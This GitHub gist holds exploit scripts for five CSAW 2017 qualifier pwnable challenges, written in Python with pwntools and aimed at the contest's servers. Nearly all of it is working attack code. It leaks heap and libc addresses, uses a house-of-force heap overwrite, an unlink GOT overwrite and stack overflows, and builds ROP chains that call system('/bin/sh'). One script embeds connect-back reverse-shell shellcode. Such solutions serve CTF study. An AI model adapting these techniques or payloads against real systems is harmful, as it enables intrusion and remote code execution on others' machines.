Skip to content

Instantly share code, notes, and snippets.

@m1ghtym0
Created September 17, 2017 20:32
Show Gist options
  • Save m1ghtym0/9ce7ef3e84bd3081f091a6b7a8e11d8a to your computer and use it in GitHub Desktop.
Save m1ghtym0/9ce7ef3e84bd3081f091a6b7a8e11d8a to your computer and use it in GitHub Desktop.
CSAW 2017 Quals Pwnable Solutions
from pwn import *
import sys
BINARY = "./auir"
LIBC = './libc-2.23.so'
LOCAL_LIBC = '/usr/lib/libc.so.6'
# Set context for asm
context.clear()
context(os='linux', arch='amd64', bits=64)
#context.log_level = 'debug'
buf_addr = 0x605310
def read_menu(r):
r.recvuntil('>>')
def create(r, size, val):
r.sendline('1')
read_menu(r)
r.sendline(str(size))
read_menu(r)
r.sendline(val)
read_menu(r)
def create_pwn(r, size):
r.sendline('1')
read_menu(r)
r.sendline(str(size))
read_menu(r)
def destroy(r, idx):
r.sendline('2')
read_menu(r)
r.sendline(str(idx))
read_menu(r)
def destroy_pwn(r, idx):
r.sendline('2')
read_menu(r)
r.sendline(str(idx))
def fix(r, idx, size, val):
r.sendline('3')
read_menu(r)
r.sendline(str(idx))
read_menu(r)
r.sendline(str(size))
read_menu(r)
r.sendline(val)
read_menu(r)
def show(r, idx, length):
r.sendline('4')
read_menu(r)
r.sendline(str(idx))
r.recvline()
ret = r.recv(length)
read_menu(r)
return ret
def leak_addr(r, addr):
r.sendline('4')
read_menu(r)
index = (addr-buf_addr)/8
r.sendline(str(index))
r.recvline()
val = u64(r.recv(8))
r.clean()
return val
def exploit(r, elf, libc, local):
read_menu(r)
# leak heap_base
create(r, 8, '/bin/sh')
index = 0
bin_sh_buf = index
create(r, 0x10, p64(elf.got['malloc']))
index += 1
malloc_got_buf = index
create(r, 8, 'foo')
index += 1
fast0 = index
create(r, 8, 'bar')
index += 1
fast1 = index
destroy(r, fast1)
destroy(r, fast0)
ret = show(r, fast0, 8)
heap_base = u64(ret) - 0x11c70
log.info('Heap-base: {}'.format(hex(heap_base)))
# leak libc_base
malloc_got = leak_addr(r, heap_base+0x11c40)
libc.address = malloc_got - libc.symbols['malloc']
log.info('libc_base: {}'.format(hex(libc.address)))
# leak <<< operator
create(r, 0x10, p64(0x00605058))
index += 1
leaker = index
operator_addr = leak_addr(r, heap_base+0x11c60)
log.info('<<<operator: {}'.format(hex(operator_addr)))
# leak next_one
fix(r, leaker, 0x10, p64(0x00605068))
next_one = leak_addr(r, heap_base+0x11c60)
log.info('next_one: {}'.format(hex(next_one)))
# leak next_two
fix(r, leaker, 0x10, p64(0x00605070))
next_two = leak_addr(r, heap_base+0x11c60)
log.info('next_two: {}'.format(hex(next_two)))
# leak next_three
fix(r, leaker, 0x10, p64(0x00605078))
next_three = leak_addr(r, heap_base+0x11c60)
log.info('next_three: {}'.format(hex(next_three)))
pause()
# house of force
create(r, 256, 'foo')
index += 1
payload = ''
payload += 'A' * 0x108
payload += p64(0xffffffffffffffff)
payload += p64(0x0)
payload += p64(0x0)
fix(r, index, 400, payload)
top_chunk = heap_base + 0x11da8
log.info('top_chunk @ {}'.format(hex(top_chunk)))
malloc_length = (elf.got['__cxa_atexit']-top_chunk) - 0x10
create_pwn(r, malloc_length)
index += 1
payload = ''
payload += 'A'*8 # got
payload += p64(operator_addr)
payload += p64(libc.symbols['system']) # free
payload += p64(next_one)
payload += p64(next_two)
payload += p64(next_three)
create(r, 256, payload)
index += 1
destroy_pwn(r, bin_sh_buf)
r.interactive()
if __name__ == "__main__":
elf = ELF(BINARY)
if len(sys.argv) < 2:
print "Usage: {} local|docker|remote".format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
H,P = ("pwn.chal.csaw.io", 7713)
r = remote(H,P)
libc = ELF(LIBC)
exploit(r, elf, libc, local=False)
else:
if sys.argv[1] == 'local':
r = process(BINARY)
libc = ELF(LOCAL_LIBC)
else:
r = process(BINARY, env = {"LD_PRELOAD" : LIBC})
libc = ELF(LIBC)
print "PID: {}".format(util.proc.pidof(r))
pause()
exploit(r, elf, libc, local=True)
from pwn import *
import sys
"""
Unpack the binary with upx -d
"""
BINARY = "./minesweeper"
# Set context for asm
context.clear()
context(os='linux', arch='i386', bits=32)
#context.log_level = 'debug'
# connect-back shell | IP | | Port |
shell_code = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x83\xbc\x1e\x41\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
def read_menu(r):
r.recvuntil('(Quit)\n')
def init(r, val, content):
r.sendline('I')
r.recvline()
r.sendline(val)
r.recvuntil('by the character X\n')
r.sendline(content)
def mal_unlink(what, where):
payload = ''
payload += p32(what)
payload += p32(where-4)
return payload
def shellcode():
shellcode = ''
shellcode += '\xeb\x0b'
shellcode += '\x90'*11
shellcode += shell_code
return shellcode
def leak(r):
r.sendline('N')
r.recvuntil('game (Q)\n')
r.sendline('V')
r.recvlines(5)
r.recvline() # padding
r.recvlines(2) # size
bwd = r.recvlines(2) # bwd
r.sendline('Q')
read_menu(r)
bwd_ptr = u32(bwd[0]+bwd[1])
return bwd_ptr
def exploit(r, elf, libc, local):
# leak heap-addr
init(r, 'B 2 5', 'X'*10)
bwd_ptr = leak(r)
heap_base = bwd_ptr & ~0xfff
target_addr = heap_base | 0x0fc
log.info('bwd-ptr {}'.format(hex(bwd_ptr)))
log.info('target_addr {}'.format(hex(target_addr)))
pause()
# overflow chunk
payload = ''
payload += shellcode()
payload = payload.ljust(0xcc, 'X') # 0x414-0x024
payload += p32(0x12)
payload += mal_unlink(what=target_addr, where=elf.got['fwrite'])
payload = payload.ljust(0x130, 'A')
init(r, 'B 3 101', payload)
# trigger shellcode
log.info('Connects back to IP:PORT specified in shell-code')
log.success('BUMMMOOO!')
pause()
if __name__ == "__main__":
elf = ELF(BINARY)
if len(sys.argv) < 2:
print "Usage: {} local|docker|remote".format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
H,P = ("pwn.chal.csaw.io", 7478)
r = remote(H,P)
libc = None
exploit(r, elf, libc, local=False)
else:
if sys.argv[1] == 'local':
p = process(BINARY)
print "PID: {}".format(util.proc.pidof(p))
pause()
r = remote('localhost', 31337)
libc = None
else:
r = process(BINARY, env = {"LD_PRELOAD" : LIBC})
libc = None
exploit(r, elf, libc, local=True)
from pwn import *
import sys
BINARY = "./true"
# Set context for asm
context.clear()
context(os='linux', arch='amd64', bits=64)
#context.log_level = 'debug'
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
add_rsp = "\x48\x83\xC4\x20"
def exploit(r, elf, libc, local):
r.recvuntil('[*]Location:')
buf_addr = int(r.recvline(), 16)
log.info('buf @ 0x{0:x}'.format(buf_addr))
r.recvuntil('Command:')
payload = ''
payload += add_rsp
payload += shellcode
payload = payload.ljust(0x28, '\x90')
payload += p64(buf_addr)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
elf = ELF(BINARY)
if len(sys.argv) < 2:
print "Usage: {} local|docker|remote".format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
H,P = ("pwn.chal.csaw.io", 8464)
r = remote(H,P)
#libc = ELF(LIBC)
libc = None
exploit(r, elf, libc, local=False)
else:
if sys.argv[1] == 'local':
r = process(BINARY)
libc = ELF(LOCAL_LIBC)
else:
r = process(BINARY, env = {"LD_PRELOAD" : LIBC})
libc = ELF(LIBC)
print "PID: {}".format(util.proc.pidof(r))
pause()
exploit(r, elf, libc, local=True)
from pwn import *
import sys
from time import time
BINARY = "./scv"
LIBC = './libc-2.23.so'
LOCAL_LIBC = '/usr/lib/libc.so.6'
# Set context for asm
context.clear()
context(os='linux', arch='amd64', bits=64)
#context.log_level = 'debug'
libc_ret_remote = 0x20830
libc_ret_local = 0x204ca
pop_rdi = 0x400ea3
pop_2_rsi = 0x400ea1
def read_menu(r):
r.recvuntil('>>')
def exploit(r, elf, libc, local):
buf_index = 0xb0
canary_index = 0x8
# get canary
read_menu(r)
r.sendline('1')
read_menu(r)
r.sendline('A'*(buf_index-canary_index-1)+'>')
read_menu(r)
r.sendline('2')
r.recvuntil('>')
canary = u64(r.recv(8))
canary &= 0xffffffffffffff00
log.info('Canary: {}'.format(hex(canary)))
read_menu(r)
# get libc
r.sendline('1')
read_menu(r)
payload = ''
payload += 'A'*(buf_index-canary_index)
payload += 'C'*8
payload += 'B'*6
payload += '>'
r.sendline(payload)
read_menu(r)
r.sendline('2')
r.recvuntil('>')
r.recvline()
libc_start = u64(r.recv(6).ljust(8, '\0'))
log.info('libc_start_main_ret: {}'.format(hex(libc_start)))
read_menu(r)
# exploit
if local:
libc.address = libc_start - libc_ret_local
else:
libc.address = libc_start - libc_ret_remote
log.info('libc base @ {}'.format(hex(libc.address)))
r.sendline('1')
read_menu(r)
payload = ''
payload += 'A'*(buf_index-canary_index)
payload += p64(canary)
payload += 'B'*8
payload += p64(pop_rdi)
payload += p64(next(libc.search('/bin/sh')))
payload += p64(pop_2_rsi)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc.symbols['system'])
r.sendline(payload)
read_menu(r)
r.sendline('3')
#log.info('libc_start_main: {}'.format(hex(libc_start)))
r.interactive()
if __name__ == "__main__":
elf = ELF(BINARY)
if len(sys.argv) < 2:
print "Usage: {} local|docker|remote".format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
H,P = ("pwn.chal.csaw.io", 3764)
r = remote(H,P)
libc = ELF(LIBC)
exploit(r, elf, libc, local=False)
else:
if sys.argv[1] == 'local':
r = process(BINARY)
libc = ELF(LOCAL_LIBC)
else:
r = process(BINARY, env = {"LD_PRELOAD" : LIBC})
libc = ELF(LIBC)
print "PID: {}".format(util.proc.pidof(r))
pause()
exploit(r, elf, libc, local=True)
from pwn import *
import sys
BINARY = "./zone"
LIBC = './libc-2.23.so'
LOCAL_LIBC = '/usr/lib/libc.so.6'
# Set context for asm
context.clear()
context(os='linux', arch='amd64', bits=64)
#context.log_level = 'debug'
local_libc_main = 0x204ca
remote_libc_main = 0x20830
def read_menu(r):
r.recvuntil('Exit\n')
def allocate(r, size):
read_menu(r)
r.sendline('1')
r.sendline(str(size))
def delete(r):
read_menu(r)
r.sendline('2')
def write_last(r, content):
read_menu(r)
r.sendline('3')
r.sendline(content)
def print_last(r):
read_menu(r)
r.sendline('4')
ret = r.recv(6).ljust(8, '\0')
return ret
def exploit(r, elf, libc, local):
line = r.recvline().split(': ')[1]
env_ptr = int(line, 16)
log.info('Environment: {}'.format(hex(env_ptr)))
# setup heap
# free-list: a->b->c
# allocate a
allocate(r, 0x40)
# free-list: b->c
# overflow a->b: set b->size=0x80
payload = ''
payload += 'A'*0x40
payload += '\x80'
write_last(r, payload)
# allocate b
allocate(r, 0x40)
# free-list: c
# delete b
delete(r)
# allocate b again with size 0x80
allocate(r, 0x80)
# overflow b->c: set c->next=env
payload = ''
payload += 'B'*0x40
payload += p64(0x40)
payload += p64(env_ptr+0x88-0x10)
write_last(r, payload)
# free-list: c->env
# allocate c
allocate(r, 0x40)
# free-list: env
# allocate env
allocate(r, 0x40)
# get libc_ret
ret = print_last(r)
libc_main = u64(ret)
if local:
libc.address = libc_main - local_libc_main
else:
libc.address = libc_main - remote_libc_main
# write rop-chain
log.info('libc-base: {}'.format(hex(libc.address)))
# build ropchain
#0x0000000000404653 : pop rdi ; ret
pop_rdi = 0x0404653
rop = ''
rop += p64(pop_rdi)
rop += p64(next(libc.search('/bin/sh')))
rop += p64(libc.symbols['system'])
write_last(r, rop)
# pop the shell
r.sendline('5')
log.success('BUUUMMOO!')
# build rop-chain
r.interactive()
if __name__ == "__main__":
elf = ELF(BINARY)
if len(sys.argv) < 2:
print "Usage: {} local|docker|remote".format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
H,P = ("pwn.chal.csaw.io", 5223)
r = remote(H,P)
libc = ELF(LIBC)
exploit(r, elf, libc, local=False)
else:
if sys.argv[1] == 'local':
r = process(BINARY)
libc = ELF(LOCAL_LIBC)
else:
r = process(BINARY, env = {"LD_PRELOAD" : LIBC})
libc = ELF(LIBC)
print "PID: {}".format(util.proc.pidof(r))
pause()
exploit(r, elf, libc, local=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment